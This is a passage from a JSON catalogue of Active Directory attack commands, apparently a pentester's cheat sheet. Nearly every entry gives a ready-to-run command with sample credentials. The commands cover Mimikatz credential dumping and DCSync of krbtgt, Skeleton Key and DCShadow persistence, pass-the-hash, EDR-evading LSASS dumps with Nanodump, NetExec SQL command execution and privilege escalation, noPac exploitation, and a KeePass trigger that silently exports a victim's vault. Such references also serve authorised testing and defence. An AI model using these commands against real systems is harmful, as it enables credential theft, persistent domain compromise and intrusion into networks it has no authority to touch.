     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/franc-pentest/ldeep",
       "https://www.hackingarticles.in/active-directory-enumeration-ldeep/",
       "https://attack.mitre.org/techniques/T1087/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:MANSPIDER-Content-Search",
     "toolId": "wadcoms:MANSPIDER",
     "toolName": "MANSPIDER",
     "name": "MANSPIDER-Content-Search",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Collection",
       "Credential Access",
       "Discovery"
     ],
     "nativeCategory": [
       "Collection",
       "Credential Access",
       "Discovery"
     ],
     "command": "# Search file CONTENT for 'password' across all readable shares on a host\nmanspider 10.10.10.1 -c password -u john -p password123 -d test.local\n\n# Hunt spreadsheets/office docs mentioning credentials, content-only (no download)\nmanspider 10.10.10.1 -c passw creds -e xlsx docx csv -n -u john -p password123 -d test.local",
     "description": "MANSPIDER (Black Lantern Security) crawls readable SMB shares across one or many hosts and greps inside the files it finds, so it catches secrets buried in documents, spreadsheets and text files rather than just interesting filenames. -c/--content takes one or more regexes matched against extracted file contents (it can parse PDF, Office and other formats), while -f/--filenames and -e/--extensions narrow the crawl by name or type. It downloads matching files to the loot directory by default; add -n/--no-download for a quieter content-only sweep. Useful for wide domain-scale secret hunting once you hold any domain account.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/blacklanternsecurity/MANSPIDER",
       "https://www.blacklanternsecurity.com/2020-11-04-MANSPIDER/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-Crypto-ExportCerts",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-Crypto-ExportCerts",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "mimikatz.exe \"crypto::capi\" \"privilege::debug\" \"crypto::cng\" \"crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export\" exit",
     "description": "Mimikatz crypto::certificates lists and, with /export, extracts certificates and their private keys from a CryptoAPI store to .pfx/.der files, even when the private key was marked non-exportable. crypto::capi (and crypto::cng for CNG keys) patches the key-provider in memory first so the non-exportable flag is bypassed. Point /systemstore at LOCAL_MACHINE for machine certs or CURRENT_USER for user certs; exported .pfx files enable certificate-based (PKINIT) authentication as that principal.\n\nCommand Reference:\n\n\tStore: LOCAL_MACHINE\\My\n\n\tExport password: mimikatz (default for exported .pfx)",
     "mitre": [
       "T1552.004"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates",
       "https://attack.mitre.org/techniques/T1552/004/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-DCShadow",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-DCShadow",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence",
       "Defense Evasion"
     ],
     "nativeCategory": [
       "Persistence",
       "Defense Evasion"
     ],
     "command": "# Instance 1 (SYSTEM) - stage the change\nmimikatz.exe \"!+\" \"!processtoken\" \"lsadump::dcshadow /object:john /attribute:primaryGroupID /value:512\"\n\n# Instance 2 (Domain Admin) - push the replication\nmimikatz.exe \"lsadump::dcshadow /push\" exit",
     "description": "Mimikatz lsadump::dcshadow temporarily registers a rogue domain controller and pushes attacker-chosen attribute changes into the directory through legitimate replication (MS-DRSR), which sidesteps normal object-modification auditing. It runs as two cooperating instances: an elevated SYSTEM instance stages the change with /object, /attribute and /value, and a second instance holding Domain Admin (or the required replication rights) triggers the push with /push. Use it for stealthy persistence such as writing a primaryGroupID or SIDHistory.\n\nCommand Reference:\n\n\tTarget object: john\n\n\tAttribute: primaryGroupID = 512 (Domain Admins)",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "LDAP",
       "RPC"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://www.dcshadow.com/",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcshadow"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-DCSync-Krbtgt",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-DCSync-Krbtgt",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Execution"
     ],
     "nativeCategory": [
       "Credential Access",
       "Exploitation"
     ],
     "command": "mimikatz.exe \"privilege::debug\" \"lsadump::dcsync /domain:test.local /user:krbtgt\" exit",
     "description": "Mimikatz lsadump::dcsync impersonates a domain controller and uses the MS-DRSR replication protocol (GetNCChanges) to pull the password data of a chosen account from a live DC, without ever running code on that DC or touching NTDS.dit on disk. Targeting krbtgt yields the KDC key needed to forge Golden Tickets. It requires an account with the Replicating Directory Changes / Replicating Directory Changes All rights (Domain Admins, Enterprise Admins, or a delegated principal).\n\nCommand Reference:\n\n\tDomain: test.local\n\n\tTarget user: krbtgt",
     "mitre": [
       "T1003.006"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "Kerberos",
       "LDAP"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync",
       "https://attack.mitre.org/techniques/T1003/006/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-DPAPI-Masterkey-Cred",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-DPAPI-Masterkey-Cred",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "mimikatz.exe \"dpapi::masterkey /in:\\\"%appdata%\\Microsoft\\Protect\\S-1-5-21-1339291983-1349129144-367733775-1001\\<GUID>\\\" /sid:S-1-5-21-1339291983-1349129144-367733775-1001 /password:password123\" \"dpapi::cred /in:\\\"%appdata%\\Microsoft\\Credentials\\<GUID>\\\"\" exit",
     "description": "Mimikatz dpapi::masterkey decrypts a user's DPAPI master key from the Protect folder using their password (and SID), and dpapi::cred then uses that cached master key to decrypt a Credential blob into its stored plaintext secret. DPAPI protects saved RDP, browser, scheduled-task, and Credential Manager secrets, so this chain recovers them offline from copied files. If you lack the user's password, dpapi::masterkey /rpc asks the domain controller to decrypt the key with the domain DPAPI backup key.\n\nCommand Reference:\n\n\tDomain SID: S-1-5-21-1339291983-1349129144-367733775\n\n\tPassword: password123",
     "mitre": [
       "T1555.004"
     ],
     "requires": [
       "Shell",
       "Password"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords",
       "https://attack.mitre.org/techniques/T1555/004/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-LogonPasswords",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-LogonPasswords",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "mimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" exit",
     "description": "Mimikatz sekurlsa::logonpasswords reads the authentication material cached in LSASS memory and reconstructs plaintext passwords, NT/LM hashes, and Kerberos keys for every interactive, service, and network logon session on the host. It requires local administrator rights and SeDebugPrivilege, which privilege::debug enables before touching LSASS. This is the classic loud credential dump; on hardened hosts (Credential Guard, PPL, or EDR hooking LSASS) it will fail or be caught, so prefer an offline minidump plus pypykatz when OPSEC matters.\n\nCommand Reference:\n\n\tTarget host: local\n\n\tPrivilege: SeDebugPrivilege",
     "mitre": [
       "T1003.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM",
       "Kerberos"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1003/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-LsadumpSAM",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-LsadumpSAM",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "mimikatz.exe \"privilege::debug\" \"token::elevate\" \"lsadump::sam\" exit",
     "description": "Mimikatz lsadump::sam decrypts the local SAM database using the boot key from the SYSTEM hive and dumps the NT hashes of all local accounts, including the local Administrator. Running it live requires SYSTEM-level access, so token::elevate is used to raise from an administrative shell to SYSTEM. The recovered local hashes are ideal for local pass-the-hash and for spotting password reuse across a fleet where the same local admin hash is shared.\n\nCommand Reference:\n\n\tTarget host: local\n\n\tHive source: live registry (SAM + SYSTEM)",
     "mitre": [
       "T1003.002"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz",
       "https://attack.mitre.org/techniques/T1003/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-LsadumpSecrets",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-LsadumpSecrets",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "mimikatz.exe \"privilege::debug\" \"token::elevate\" \"lsadump::secrets\" exit",
     "description": "Mimikatz lsadump::secrets decrypts the LSA secrets stored under the SECURITY registry hive, exposing service account passwords, scheduled-task credentials, cached DPAPI machine keys, auto-logon passwords, and the machine account secret in cleartext. It needs SYSTEM rights, so token::elevate is chained after privilege::debug. LSA secrets frequently hand over a domain service account password that no other technique reveals.\n\nCommand Reference:\n\n\tTarget host: local\n\n\tHive source: live registry (SECURITY + SYSTEM)",
     "mitre": [
       "T1003.004"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-mimikatz",
       "https://attack.mitre.org/techniques/T1003/004/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-PassTheHash",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-PassTheHash",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Lateral Movement"
     ],
     "nativeCategory": [
       "Lateral Movement"
     ],
     "command": "mimikatz.exe \"privilege::debug\" \"sekurlsa::pth /user:john /domain:test.local /ntlm:2a3de7fe356ee524cc9f3d579f2e0aa7 /run:cmd.exe\" exit",
     "description": "Mimikatz sekurlsa::pth performs pass-the-hash by starting a new process whose logon session is seeded with a supplied NT hash (or AES key), letting network authentication proceed as the target user without knowing their password. The spawned process (here cmd.exe) can then reach SMB, WMI, or WinRM as john. It requires local administrator rights on the box you run it from because it patches the new process's LSASS session; use /aes256 instead of /ntlm for an overpass-the-hash that requests Kerberos tickets.\n\nCommand Reference:\n\n\tUsername: john\n\n\tDomain: test.local\n\n\tNT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7",
     "mitre": [
       "T1550.002"
     ],
     "requires": [
       "Shell",
       "Hash"
     ],
     "services": [
       "NTLM",
       "SMB",
       "Kerberos"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/ntlm/pass-the-hash",
       "https://attack.mitre.org/techniques/T1550/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-PassTheTicket",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-PassTheTicket",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Lateral Movement"
     ],
     "nativeCategory": [
       "Lateral Movement"
     ],
     "command": "mimikatz.exe \"kerberos::ptt ticket.kirbi\" exit",
     "description": "Mimikatz kerberos::ptt injects a Kerberos ticket (.kirbi TGT or TGS) directly into the current logon session's ticket cache, so subsequent tools authenticate with it transparently. Unlike sekurlsa::pth it does not spawn a process or need administrator rights, since it only writes to the caller's own cache. Use it to replay a harvested or forged ticket for pass-the-ticket lateral movement, then verify with klist.\n\nCommand Reference:\n\n\tTicket file: ticket.kirbi",
     "mitre": [
       "T1550.003"
     ],
     "requires": [
       "Shell",
       "TGT"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket",
       "https://attack.mitre.org/techniques/T1550/003/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Mimikatz-SkeletonKey",
     "toolId": "wadcoms:Mimikatz",
     "toolName": "Mimikatz",
     "name": "Mimikatz-SkeletonKey",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence"
     ],
     "nativeCategory": [
       "Persistence"
     ],
     "command": "mimikatz.exe \"privilege::debug\" \"misc::skeleton\" exit",
     "description": "Mimikatz misc::skeleton patches the LSASS process of a live domain controller in memory so that a master password (the hardcoded default 'mimikatz') is accepted for any domain account alongside each user's real password. It is a stealthy but volatile persistence primitive: the patch lives only in memory and is lost on DC reboot, and it downgrades some Kerberos encryption which detections watch for. It requires Domain Admin / SeDebugPrivilege on the DC and only works against DCs not running LSA as a protected process.\n\nCommand Reference:\n\n\tTarget: Domain Controller DC01 (dc.test.local)\n\n\tMaster password: mimikatz (built-in default)",
     "mitre": [
       "T1556.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/gentilkiwi/mimikatz",
       "https://adsecurity.org/?p=1275",
       "https://attack.mitre.org/techniques/T1556/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Nanodump-LSASS",
     "toolId": "wadcoms:Nanodump",
     "toolName": "Nanodump",
     "name": "Nanodump-LSASS",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Defense Evasion"
     ],
     "nativeCategory": [
       "Credential Access",
       "Defense Evasion"
     ],
     "command": "nanodump.x64.exe --fork --valid --write C:\\Windows\\Temp\\lsass.dmp",
     "description": "Nanodump is an OPSEC-aware LSASS dumper that reads process memory and writes a minidump without calling the heavily monitored MiniDumpWriteDump API, avoiding many EDR hooks. --fork clones the LSASS process and dumps the copy to reduce detection, and --valid restores the dump's signature so pypykatz or Mimikatz can parse it (nanodump writes an invalid signature by default to evade disk scanners). It requires local administrator / SeDebugPrivilege; exfil the dump and parse it offline.\n\nCommand Reference:\n\n\tOutput dump: C:\\Windows\\Temp\\lsass.dmp",
     "mitre": [
       "T1003.001"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM",
       "Kerberos"
     ],
     "references": [
       "https://github.com/fortra/nanodump",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1003/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-LDAP-ADCS",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-LDAP-ADCS",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Enumerate Enterprise CAs and certificate templates over LDAP\nnxc ldap 10.10.10.1 -u john -p password123 -M adcs",
     "description": "The NetExec (nxc) ldap module -M adcs enumerates Active Directory Certificate Services by querying the Configuration partition over LDAP, listing the Enterprise CAs and the certificate templates published in the domain. It is a quick way to confirm AD CS is present and to gather CA and template names before running Certipy to hunt for vulnerable (ESC) configurations. Requires any valid domain account.\n\nCommand Reference:\n\n\tUsername: john\n\tPassword: password123\n\tTarget DC IP: 10.10.10.1",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP",
       "ADCS"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-LDAP-MAQ",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-LDAP-MAQ",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Read ms-DS-MachineAccountQuota (how many computer accounts this user may add)\nnxc ldap 10.10.10.1 -u john -p password123 -M maq\n# Confirm the authenticated identity / domain SID\nnxc ldap 10.10.10.1 -u john -p password123 -M whoami",
     "description": "The NetExec (nxc) ldap module -M maq reads the ms-DS-MachineAccountQuota attribute, revealing how many computer accounts an authenticated user is allowed to create (default 10). A non-zero quota is a prerequisite for attacks that need a controlled computer object, such as Resource-Based Constrained Delegation (RBCD) and Shadow Credentials. The -M whoami module confirms the authenticated context and domain SID. Both need only a valid low-privileged account.\n\nCommand Reference:\n\n\tUsername: john\n\tPassword: password123\n\tTarget DC IP: 10.10.10.1",
     "mitre": [
       "T1087.002"
     ],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/ldap-protocol/enumerate-machineaccountquota",
       "https://attack.mitre.org/techniques/T1087/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-MSSQL-CmdExec",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-MSSQL-CmdExec",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution",
       "Lateral Movement"
     ],
     "nativeCategory": [
       "Exploitation",
       "Lateral Movement"
     ],
     "command": "# OS command via xp_cmdshell\nnxc mssql 10.10.10.1 -u john -p password123 -x \"whoami /all\"\n\n# PowerShell command\nnxc mssql 10.10.10.1 -u john -p password123 -X \"$PSVersionTable\"",
     "description": "NetExec's mssql -x runs an operating-system command through xp_cmdshell (it will enable the option automatically if the login is sysadmin), returning stdout. Use -X instead to execute a PowerShell command block. Command execution runs as the SQL Server service account and requires sysadmin; enabling xp_cmdshell is a high-signal event.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/mssql-protocol/command-execution",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-MSSQL-LocalAuth",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-MSSQL-LocalAuth",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Lateral Movement"
     ],
     "nativeCategory": [
       "Credential Access",
       "Lateral Movement"
     ],
     "command": "# Local SQL login (e.g. sa) rather than domain auth\nnxc mssql 10.10.10.1 -u sa -p password123 --local-auth\n\n# Spray a local sa password across a subnet\nnxc mssql 10.10.10.0/24 -u sa -p password123 --local-auth",
     "description": "With --local-auth, NetExec authenticates the SQL Server login as a local (mixed-mode) account instead of a domain principal — the classic case being the sa account or a recovered application login. This is useful for password spraying a reused sa password across many hosts, or logging into an instance that is not domain-joined. Combine with -q, -x, or a module once authenticated.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: sa\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/mssql-protocol/authentication",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-MSSQL-Priv",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-MSSQL-Priv",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Enumerate impersonation / db_owner privesc paths\nnxc mssql 10.10.10.1 -u john -p password123 -M mssql_priv\n\n# Escalate the current login to sysadmin\nnxc mssql 10.10.10.1 -u john -p password123 -M mssql_priv -o ACTION=privesc",
     "description": "The mssql_priv NetExec module enumerates and abuses privilege-escalation paths inside a SQL Server instance — principals the login can impersonate (EXECUTE AS / IMPERSONATE), and db_owner membership on databases owned by a high-privileged principal. Run it with no options to enumerate available paths; run it with ACTION=privesc to walk the chain and grant the current login sysadmin. Add ACTION=rollback to undo the change afterwards.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/mssql-protocol/mssql-privesc",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-MSSQL-Query",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-MSSQL-Query",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "nxc mssql 10.10.10.1 -u john -p password123 -q \"SELECT @@version\"\n\n# domain (Windows) auth\nnxc mssql 10.10.10.1 -u john -p password123 --windows-auth -q \"SELECT SYSTEM_USER\"",
     "description": "NetExec's mssql protocol authenticates to SQL Server and runs an arbitrary T-SQL statement with -q/--query, printing the result set. It is the quickest way to fingerprint an instance (@@version), enumerate databases, or check the effective privileges of the login. Add -windows-auth to authenticate the domain account over NTLM rather than SQL auth.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/mssql-protocol/authentication",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-noPac",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec nopac Module",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "nxc smb 10.10.10.1 -u john -p password123 -M nopac",
     "description": "The NetExec/nxc smb 'nopac' module automates the CVE-2021-42278 + CVE-2021-42287 sAMAccountName spoofing chain from a single authenticated SMB connection. It confirms the DC is vulnerable, creates and renames a machine account, and requests an impersonating service ticket, saving the resulting ccache to disk for reuse with impacket tools. Requires MachineAccountQuota > 0 and a DC missing the November 2021 patches; it is a fast way to validate the primitive during an engagement.\n\nCommand Reference:\n\n\tDomain / DC IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB",
       "Kerberos",
       "LDAP"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-SMB-GPPAutologin",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-SMB-GPPAutologin",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "nxc smb 10.10.10.1 -u john -p password123 -M gpp_autologin",
     "description": "The gpp_autologin module parses Registry.xml files pushed through Group Policy Preferences in SYSVOL and extracts autologon credentials (DefaultUserName / DefaultPassword) configured for interactive logon. Unlike cpassword these values are stored in cleartext, so no decryption is needed. Any domain account can read SYSVOL, making this a fast credential-hunting check against the domain controller alongside gpp_password.\n\nCommand Reference:\n\n\tDC IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [
       "T1552.006"
     ],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/smb-protocol/obtaining-credentials/gpp-password",
       "https://attack.mitre.org/techniques/T1552/006/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-SMB-GPPPassword",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-SMB-GPPPassword",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "nxc smb 10.10.10.1 -u john -p password123 -M gpp_password",
     "description": "The gpp_password module searches SYSVOL for Group Policy Preferences XML files (Groups.xml, Services.xml, ScheduledTasks.xml, etc.) that contain a cpassword attribute, then decrypts it using the AES key Microsoft published in MSDN. Any authenticated domain user can read SYSVOL, so this is a classic quick win for recovering local admin or service account passwords set via GPP. Microsoft patched (MS14-025) the ability to create new GPP passwords but did not remove existing ones, so legacy cpassword values still linger in many domains.\n\nCommand Reference:\n\n\tDC IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [
       "T1552.006"
     ],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/smb-protocol/obtaining-credentials/gpp-password",
       "https://attack.mitre.org/techniques/T1552/006/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-SMB-KeePassDiscover",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-SMB-KeePassDiscover",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Discovery",
       "Credential Access"
     ],
     "nativeCategory": [
       "Discovery",
       "Credential Access"
     ],
     "command": "nxc smb 10.10.10.1 -u john -p password123 -M keepass_discover",
     "description": "The keepass_discover module remotely enumerates a target for running KeePass processes and for KeePass.config.xml configuration files, reporting the paths it finds. This is the reconnaissance step before keepass_trigger: you need the config file path to plant a malicious export trigger. Requires local admin on the target so the module can inspect processes and the user's AppData. No database is opened or modified at this stage.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "SMB"
     ],
     "references": [
       "https://github.com/Pennyw0rth/NetExec",
       "https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-keepass"
     ],
     "added": true
   },
   {
     "id": "wadcoms:NetExec-SMB-KeePassTrigger",
     "toolId": "wadcoms:NetExec",
     "toolName": "NetExec",
     "name": "NetExec-SMB-KeePassTrigger",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "nxc smb 10.10.10.1 -u john -p password123 -M keepass_trigger -o KEEPASS_CONFIG_PATH=\"C:\\Users\\john\\AppData\\Roaming\\KeePass\\KeePass.config.xml\"",
     "description": "The keepass_trigger module abuses KeePass's trigger system: it edits KeePass.config.xml (path found via keepass_discover) to add a malicious export trigger, so the next time the victim unlocks their database KeePass silently exports every entry in cleartext to a location the operator can read. The default ACTION=ALL adds the trigger, waits, retrieves and parses the export, then cleans up. Requires local admin on the host and that the user actually opens their vault; it is noisier and higher-risk than passive hunting, so restore the config afterward.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tUsername: john\n\n\tPassword: password123\n\n\tKeePass config path: C:\\Users\\john\\AppData\\Roaming\\KeePass\\KeePass.config.xml",
     "mitre": [],
     "requires": [
